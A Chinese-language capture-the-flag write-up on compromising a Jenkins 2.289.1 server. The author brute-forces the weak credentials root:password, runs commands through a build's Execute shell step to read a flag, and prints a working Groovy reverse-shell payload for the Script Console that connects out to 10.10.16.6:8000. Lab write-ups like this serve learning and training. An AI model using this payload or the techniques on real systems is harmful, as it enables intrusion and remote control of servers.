文章目录本次通过分析 jenkins 组件学习渗透测试流程,最终通过代码执行漏洞拿到 shell
- 信息收集
- 弱口令
- 功能分析
- 搜索
- 添加文本
- 姓名配置
- api令牌
- ssh公钥
- build
- node
- 命令执行
- 代码执行与反弹shell
- 反弹shell
- 关于payload
- 答案
日常扫描,nmap -sV -v ,发现开放 8080 端口
Jenkins是一个独立的开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能
持续集成:简单来说,有时候做项目,各个模块单独测试时都是能用的,但是上线前将所有模块集成到一起之后跑不通了,此时修改就为时晚矣,所以在模块开发时,就尽早将模块整合,持续不断的集成新模块进行测试,尽早发现问题,这是开发过程中项目管理所提倡的一种方法实践
正常开发人员提交代码后要经历-> 检出(从代码库下载代码到本地)-> 打包 ->部署 几个步骤,而有了集成工具,只需要提交,剩下的都可以交由 Jenkins 帮我们去做,直接就能在服务器看到修改
在网上能搜索到很多 Jenkins (Jenkins-w3cschool) 的公开漏洞,但是我们并不清楚该应用具体的版本信息,如果要有该应用所有的漏洞的一键综合利用工具就好了,可惜没找到
弱口令我个人是十分讨厌弱口令这个东西的,只看管理员的安全意识,回报率低
暴破后,根据 Length 排序,账号密码为 root:password
右下角可以看到版本为 2.289.1 ,首先可以熟悉一下它的功能,由于英语实在不好,装了 chrome ,翻译方便一点
功能分析我们在此阶段的目的是了解应用程序有哪些接口,哪里能控制输入,输入如何处理,结果如何输出…毕竟很大一部分漏洞都是由于不安全的输入引起的,我们关注的重点也是能否利用,而不是真的精通软件的使用
说明文档:https://www.jenkins.io/doc/book/using/
搜索公开的漏洞复现也是比较省力的利用方式 cve搜索 ,并不是特别全
在 msf 中有 13 条相关脚本 search jenkins
也可以在搜索引擎搜索 jenkins 漏洞并尝试复现
我们的目的是能访问目标主机的 flag,当然不是所有的漏洞都适合这个场景,比取消项目构建,触发LDAP查询,用户枚举等等,比较合适的就是文件包含&命令执行&代码执行漏洞,最好是直接获取shell的那种,而且有的漏洞没有分析没有利用方式或工具,别说没工具就算有工具都不一定会用,更大可能连是什么漏洞都看不懂…
当然,本次不会尝试去复现漏洞
搜索search搜索功能 :一般是接收参数拼接 sql 语句,进行数据库查询,并将结果返回到前端页面,在 pikachu 靶场接触过,因为是在前端页面显示,所以也可以测试 xss
添加文本导航条第二个就是用户管理功能
status:显示用户角色 ID,还可以添加描述,描述的数据会输出到页面, 标签包裹,测试 xss,但是并没有弹窗啊,我们翻阅说明文档,发现它使用了 Content Security Policy(CSP) 内容安全策略,这是专门为了防止 XSS 注入的,没有看到响应头或 meta 标签有相应设置,看源码是符号被转义了
摘自阮一峰博客:
CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。
CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机
不仅可以限制各种资源如 js脚本、图片等的加载,也可以限制 url 的引用,当然,CSP 也不是万能的,可以在某些情况下被绕过,如 我的CSP绕过思路及总结-先知社区
姓名配置build 选项应该是先在其他地方配置之后才能在这里操作 ,先略过 ,看configure
改名字的地方,名字这种信息应该会在数据库存储,然后在前端页面显示,也是涉及到 sql、 xss这两个漏洞
描述就不说了,和刚才一样
api令牌jenkins 的 api 令牌
这个令牌的作用是调用 api 时方便身份验证的,如果使用账号密码被认为是不安全的,这些令牌的生成过程中我们能替换吗?身份认证相关的功能存在越权的可能比较大吧
下面的几个就不介绍了,看过了几个模模糊糊有一些套路了,感觉这个功能没什么值得看,当然这种东西都是靠个人水平的,有什么我也看不出来
ssh公钥ssh 公钥主要是免密登录使用,和api 令牌同样是为了安全与方便
buildSSH 密钥登录分为以下的步骤
预备步骤,客户端通过 ssh-keygen 生成自己的公钥和私钥
第一步,手动将客户端的公钥放入远程服务器的指定位置
第二步,客户端向服务器发起 SSH 登录的请求
my views 和主界面差不多,先前在翻阅资料时,都会提到构建 build 功能,我们点进去 Groovy Script ,有一个 workspace 文件夹,这个文件夹就是存放项目代码的
同样的,我们点击主页面 New item 新建一个项目,输入名字,选择项目类型,随便选第一个自由风格项目,确认
General 部分是项目的基本配置
Source Code Management 是源代码管理,这种直接执行代码的环境感觉非常不安全,应该是都在沙箱环境,但是也有绕过的一些情况
Build Triggers 构建触发器,意思是在什么条件触发构建任务,比如提供一个接口远程构建,或者定时构建,或者代码更改时构建等等
Build Enviroment 构建环境,一些配置选项,比如每次构建删除旧代码等
Build ,Execute shell 就是执行 shell 命令,我们可以尝试写一个 whoami 执行
Post-build Actions 就是构建后的操作,比如生成报告
Build Now 然后乱点一通,在点进像是太阳图标的东西后,发现 shell 命令的输出结果
node在左下角 Build Executor Status 有一个构建执行器动态,这是 jenkins 的架构方式
Master/Slave相当于Server和agent的概念。Master提供web接口让用户来管理job和slave,job可以运行在master本机或者被分配到slave上运行。一个master可以关联多个slave用来为不同的job或相同的job的不同配置来服务
master 一般就是 jenkins 的服务器,里面有一个 Script Console 脚本控制台功能,可以写 groovy 脚本
其它的暂时没什么了,看不懂高级用法
命令执行在 Execute shell 处添加命令查看 flag ,ls -a
ls -a . ..
我们到根目录下查看,怎么改自己研究吧,很简单,点点就行
cd /root ls -a
cat flag.txt代码执行与反弹shell 反弹shell
groovy 是一种 java 扩展语言,java 我们大致了解过皮毛,可以在idea新建项目,经过简单调整格式,本地测试可以运行,String cmd 是 shell 模式,在 win 下是 cmd.exe ,在linux下是/bin/bash
String host="10.10.16.6";
int port=8000;
String cmd="cmd.exe";
//ProcessBuilder创建操作系统进程
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
我们在攻击机使用 nc 监听端口,等待目标机器建立连接获取 shell ,这个是说将目标机器的执行结果发送到攻击机上
在靶场脚本控制台执行,获得了 shell
不知道为什么是这样没有前面的类似的盘符路径什么的,但是也不影响
关于payload在上面的 payload 中使用了 socket 连接,所谓socket连接,是指网络上的两个程序通过一个双向的通信连接实现数据的交换,这个连接的一端称为一个socket
Server 端 Listen 监听某个端口是否有连接请求
Client 端向 Server 端发出连接请求
Server 端向 Client 端发回 Accept 接受消息 这样一个连接就建立起来了
Server 端和 Client 端都可以通过 Send,Write 等方法与对方通信
所以才可以实现命令与结果的互相传递吧
答案创建 Socket
打开连接到 Socket 的输入输出出流
按照一定的协议对 Socket 进行读/写操作
关闭 Socket
Common Vulnerabilities and Exposures confidentiality, integrity, availability Jetty 9.4.39.v20210325 2.289.1 Groovy cmd.exe ifconfig -u reverse shell



